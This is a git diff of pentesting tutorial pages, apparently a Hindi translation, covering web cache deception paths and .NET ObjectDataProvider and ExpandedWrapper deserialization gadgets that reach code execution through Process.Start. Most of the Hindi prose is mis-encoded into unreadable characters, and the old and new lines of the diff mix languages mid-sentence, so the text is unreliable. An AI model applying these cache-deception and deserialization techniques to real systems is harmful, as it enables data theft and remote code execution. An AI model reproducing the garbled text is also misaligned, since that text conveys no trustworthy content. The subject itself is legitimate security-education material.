[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception -рдЙрджреНрджреЗрд╢реНрдп рдпрд╣ рд╣реИ рдХрд┐ clients рдЙрди resources рдХреЛ load рдХрд░реЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ cache рдЙрдирдХреЗ sensitive information рдХреЗ рд╕рд╛рде save рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред +Cache Deception рдХрд╛ рд▓рдХреНрд╖реНрдп clients рдХреЛ рдЙрди resources рдХреЛ load рдХрд░рд╛рдирд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ cache рдЙрдирдХреЗ sensitive information рдХреЗ рд╕рд╛рде save рдХрд░ рджреЗрдЧрд╛ред -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ extensions рдЬреИрд╕реЗ `.css`, `.js`, `.png` рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ cache рдореЗрдВ save рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдк `www.example.com/profile.php/nonexistent.js` рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ рддреЛ cache рд╕рдВрднрд╡рддрдГ response рдХреЛ store рдХрд░ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ `.js` extension рджрд┐рдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдЕрдЧрд░ application `www.example.com/profile.php` рдореЗрдВ stored sensitive user contents рдХреЗ рд╕рд╛рде reply рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрди contents рдХреЛ рдЕрдиреНрдп users рд╕реЗ рдЪреЛрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **extensions** рдЬреИрд╕реЗ `.css`, `.js`, `.png` рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ cache рдореЗрдВ **saved** рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП **configured** рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк `www.example.com/profile.php/nonexistent.js` рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ рддреЛ cache рд╕рдВрднрд╡рддрдГ response рдХреЛ store рдХрд░ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ `.js` **extension** рдХреЛ рджреЗрдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдпрджрд┐ **application** _www.example.com/profile.php_ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **sensitive** рд╕рд╛рдордЧреНрд░реА рдХреЛ replay рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрди рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЕрдиреНрдп users рд╕реЗ **steal** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЯреЗрд╕реНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: +рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЪреАрдЬрд╝реЗрдВ: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ @@ -269,19 +270,19 @@ Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ specific GET parameters рдХреЛ рд╢рд╛ - _www.example.com/profile.php/%2e%2e/test.js_ - _Use lesser known extensions such as_ `.avif` -рдПрдХ рдФрд░ рдмрд╣реБрдд рд╕рд╛рдл рдЙрджрд╛рд╣рд░рдг рдЗрд╕ write-up рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рдЖрдк рдПрдХ non-existent рдкреЗрдЬ рдЬреИрд╕реЗ _http://www.example.com/home.php/non-existent.css_ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рддреЛ _http://www.example.com/home.php_ (рдпреВрдЬрд╝рд░ рдХреА sensitive рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде) рдХрд╛ content рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ cache server рдкрд░рд┐рдгрд╛рдо рдХреЛ save рдХрд░ рд▓реЗрдЧрд╛ред\ -рдлрд┐рд░, attacker рдЕрдкрдирд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдПрдХреНрд╕реЗрд╕ рдХрд░ рдХреЗ рдЙрди рдпреВрдЬрд╝рд░реНрд╕ рдХреА confidential information рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рдЙрд╕ рдкреЗрдЬ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рдЪреБрдХреЗ рдереЗред +рдПрдХ рдФрд░ рд╕реНрдкрд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ write-up рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712). +рдЙрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк _http://www.example.com/home.php/non-existent.css_ рдЬреИрд╕реА non-existent page рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рддреЛ _http://www.example.com/home.php_ рдХреА рд╕рд╛рдордЧреНрд░реА (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА **sensitive information** рдХреЗ рд╕рд╛рде) рд▓реМрдЯрд╛рдИ рдЬрд╛рдПрдЧреА рдФрд░ cache server рдкрд░рд┐рдгрд╛рдо рдХреЛ save рдХрд░ рд▓реЗрдЧрд╛ред +рдлрд┐рд░, **attacker** рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **confidential information** рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдкрд╣рд▓реЗ рдкрд╣реБрдБрдЪ рдХрд┐рдпрд╛ рдерд╛ред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЙрдирдХреЗ extension (рдЬреИрд╕реЗ _.css_) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рди рдХрд┐ content-type рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХрд╛ content-type `text/html` рд╣реЛрдЧрд╛ рди рдХрд┐ `text/css` mime typeред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЙрдирдХреА extension (.css) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП configured рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдирд╛ рдХрд┐ content-type рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ _http://www.example.com/home.php/non-existent.css_ рдХрд╛ content-type `text/html` рд╣реЛрдЧрд╛, рди рдХрд┐ `text/css` mime typeред -рдпрд╣рд╛рдБ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ HTTP Request Smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ Cache Deceptions attacks perform рдХрд┐рдпреЗ рдЬрд╛рддреЗ рд╣реИрдВ: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception +рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Cache Deception рдХрд┐рдпрд╛ рдЬрд╛рдПред -## Automatic Tools +## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЯреВрд▓реНрд╕ -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner рдЬреЛ URL рдХреА list рдореЗрдВ web cache poisoning vulnerabilities рдЦреЛрдЬрддрд╛ рд╣реИ рдФрд░ multiple injection techniques рдХреЛ рдЯреЗрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner рдЬреЛ URL рдХреА рд╕реВрдЪреА рдореЗрдВ web cache poisoning vulnerabilities рдЦреЛрдЬрдиреЗ рдФрд░ рдХрдИ injection techniques рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред -## References +## рд╕рдВрджрд░реНрдн - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index b7b0f25c6..9f8c75af0 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,20 +1,20 @@ -# рдмреЗрд╕рд┐рдХ .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -This post is dedicated to **рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ gadget ObjectDataProvider рдХрд╛ рдХреИрд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ **рдХреИрд╕реЗ** Serialization рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ **Json.Net рдФрд░ xmlSerializer рдХреЛ рдЙрд╕ gadget рдХреЗ рд╕рд╛рде рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрд╣ рдкреЛрд╕реНрдЯ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрд╣ рд╕рдордЭрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ рдХрд┐ рдХреИрд╕реЗ ObjectDataProvider gadget рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗ Serialization рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ Json.Net рдФрд░ xmlSerializer рдЙрд╕ gadget рдХреЗ рд╕рд╛рде рджреБрд░реНрд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред ## ObjectDataProvider Gadget -From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ -рд╣рд╛рдБ, рдпреЗ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рдЗрддрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рднреА arbitrary object рдХреЛ **wrap** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **arbitrary parameters set** рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ **MethodName рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary object рдХреЗ рдХрд┐рд╕реА рднреА function рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдЧрдП parameters рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред\ -рдЗрд╕рд▓рд┐рдП, arbitrary **object** **deserialized** рд╣реЛрддреЗ рд╕рдордп **parameters рдХреЗ рд╕рд╛рде рдПрдХ function execute** рдХрд░реЗрдЧрд╛ред +рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдХреЗ рдЕрдиреБрд╕рд╛рд░: _ObjectDataProvider рдХреНрд▓рд╛рд╕ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рд▓рдкреЗрдЯрддрд╛ рд╣реИ рдФрд░ рдПрдХ рдРрд╕рд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдПрдХ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рд╕реНрд░реЛрдд (binding source) рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_.\ +рд╣рд╛рдБ, рдпрд╣ рдПрдХ рдЕрдЬреАрдм рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╣реИ, рддреЛ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рдХреНрд▓рд╛рд╕ рдореЗрдВ рдРрд╕рд╛ рдХреНрдпрд╛ рд╣реИ рдЬреЛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ: рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рднреА рдПрдХ arbitrary object рдХреЛ **wrap** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, _**MethodParameters**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **arbitrary parameters рд╕реЗрдЯ** рдХрд░ рд╕рдХрддреА рд╣реИ, рдФрд░ рдлрд┐рд░ _**MethodName**_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА arbitrary object рдХреЗ рдХрд┐рд╕реА рднреА function рдХреЛ рдЙрди рдШреЛрд╖рд┐рдд рдХрд┐рдП рдЧрдП arbitrary parameters рдХреЗ рд╕рд╛рде **call** рдХрд░ рд╕рдХрддреА рд╣реИред\ +рдЗрд╕рд▓рд┐рдП, arbitrary **object** deserialize рд╣реЛрддреЗ рд╕рдордп **parameters рдХреЗ рд╕рд╛рде рдПрдХ function** **execute** рдХрд░реЗрдЧрд╛ред -### **How is this possible** +### **рдпрд╣ рдХреИрд╕реЗ рд╕рдВрднрд╡ рд╣реИ** -The **System.Windows.Data** namespace, рдЬреЛ рдХрд┐ **PresentationFramework.dll** рдореЗрдВ `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` рдкрд░ рдорд┐рд▓рддрд╛ рд╣реИ, рд╡рд╣реАрдВ ObjectDataProvider рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +**System.Windows.Data** namespace, рдЬреЛ **PresentationFramework.dll** рдХреЗ рднреАрддрд░ `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд╣реА рдЬрдЧрд╣ рд╣реИ рдЬрд╣рд╛рдБ ObjectDataProvider рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ **code inspect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рдХреЗ рдЗрдореЗрдЬ рдореЗрдВ рд╣рдо **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** рдХрд╛ code рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ +[**dnSpy**](https://github.com/0xd4d/dnSpy) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ **code inspect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╣рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реИред рдиреАрдЪреЗ рдХреА рдЗрдореЗрдЬ рдореЗрдВ рд╣рдо рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name рдХрд╛ рдХреЛрдб рдХреНрдпрд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ ![](<../../images/image (427).png>) @@ -22,7 +22,7 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ ![](<../../images/image (319).png>) -рдареАрдХ рд╣реИ, рдЪрд▓рд┐рдП рдЖрдЧреЗ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ `this.BeginQuery()` рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред `BeginQuery` рдХреЛ `ObjectDataProvider` рджреНрд╡рд╛рд░рд╛ override рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ рдпрд╣ рдХрд░рддрд╛ рд╣реИ: +рдареАрдХ рд╣реИ, рдЪрд▓рд┐рдП рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ `this.BeginQuery()` рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред `BeginQuery` рдХреЛ `ObjectDataProvider` рджреНрд╡рд╛рд░рд╛ override рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╡рд╣реА рдХрд░рддрд╛ рд╣реИ: ![](<../../images/image (345).png>) @@ -30,9 +30,9 @@ Using [**dnSpy**](https://github.com/0xd4d/dnSpy) рдЖрдк рдЙрд╕ рдХреНрд▓рд╛рд╕ ![](<../../images/image (596).png>) -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ function `QueryWorker` рдХрд╛ рдкреВрд░рд╛ code рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕рдХрд╛ рд░реЛрдЪрдХ рд╣рд┐рд╕реНрд╕рд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ** тАФ рдпрд╣ рд╡рд╣ рд▓рд╛рдЗрди рд╣реИ рдЬрд╣рд╛рдБ **set рдХрд┐рдпрд╛ рдЧрдпрд╛ method invoke** рд╣реЛрддрд╛ рд╣реИред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ `QueryWorker` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреВрд░рд╛ рдХреЛрдб рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕рдХрд╛ рд░реЛрдЪрдХ рд╣рд┐рд╕реНрд╕рд╛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ: рдХреЛрдб **`this.InvokeMethodOnInstance(out ex);` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ** тАФ рдпрд╣реА рд╡рд╣ рд▓рд╛рдЗрди рд╣реИ рдЬрд╣рд╛рдБ **method set invoke** рд╣реЛрддрд╛ рд╣реИред -рдпрджрд┐ рдЖрдк рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рдкрд░ **рд╡рд╣ execute рд╣реЛрдЧрд╛**, рддреЛ рдЖрдк рдЗрд╕ рдХреЛрдб рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ _**MethodName**_ рд╕реЗрдЯ рдХрд░рдиреЗ рднрд░ рд╕реЗ рдпрд╣ execute рд╣реЛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЖрдк рдпрд╣ рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,12 +56,10 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0. ## ExpandedWrapper -рдкрд┐рдЫрд▓реЗ exploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдРрд╕реЗ рдорд╛рдорд▓реЗ рд╣реЛрдВрдЧреЗрдВ рдЬрд╣рд╛рдБ **object** рдХреЛ _**ObjectDataProvider**_ instance рдХреЗ рд░реВрдк рдореЗрдВ **deserialized as** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП DotNetNuke vuln рдореЗрдВ, XmlSerializer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, object рдХреЛ `GetType` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ deserialized рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред рддрдм _ObjectDataProvider_ instance рдореЗрдВ рдЬреЛ object type encapsulated рд╣реИ рдЙрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ (`Process` рдЬреИрд╕реЗ) **рдХреЛрдИ рдЬрд╛рдирдХрд╛рд░реА рдирд╣реАрдВ рд╣реЛрдЧреА**ред рдЖрдк DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1 +Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [DotNetNuke vuln рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -рдпрд╣ рдХреНрд▓рд╛рд╕ рдХрд┐рд╕реА рджрд┐рдП рдЧрдП instance рдореЗрдВ encapsulated objects рдХреЗ **object types рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрд░реЛрдд object (_ObjectDataProvider_) рдХреЛ рдПрдХ рдирдП object type рдореЗрдВ encapsulate рдХрд░рдиреЗ рдФрд░ рд╣рдореЗрдВ рдЬрд┐рди properties рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (_ObjectDataProvider.MethodName_ рдФрд░ _ObjectDataProvider.MethodParameters_)ред\ -рдпрд╣ рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо _**ObjectDataProvider**_ рдХреЛ рдПрдХ **_ExpandedWrapper_** instance рдХреЗ рдЕрдВрджрд░ wrap рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ **рдЬрдм deserialized рд╣реЛрдЧрд╛** рдпрд╣ рдХреНрд▓рд╛рд╕ _**OjectDataProvider**_ object рдмрдирд╛рдПрдЧреА рдЬреЛ _**MethodName**_ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **function** рдХреЛ **execute** рдХрд░реЗрдЧреАред - -You can check this wrapper with the following code: +This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ +рдпрд╣ рдкрд╣рд▓реЗ рдкреНрд░рд╕реНрддреБрдд рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. ```java using System.Windows.Data; using System.Diagnostics; @@ -85,11 +83,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -In the [official web page](https://www.newtonsoft.com/json) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд▓рд╛рдЗрдмреНрд░реЗрд░реА **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рддреЛ, рдЕрдЧрд░ рд╣рдо **deserialize the ObjectDataProvider gadget** рдХрд░ рд╕рдХреЗрдВ, рддреЛ рд╕рд┐рд░реНрдлрд╝ рдПрдХ object рдХреЛ deserialize рдХрд░рдХреЗ рд╣реА рд╣рдо **RCE** рдкреИрджрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рд╣рдо **deserialize the ObjectDataProvider gadget** рдХрд░ рдкрд╛рдПрдБ рддреЛ 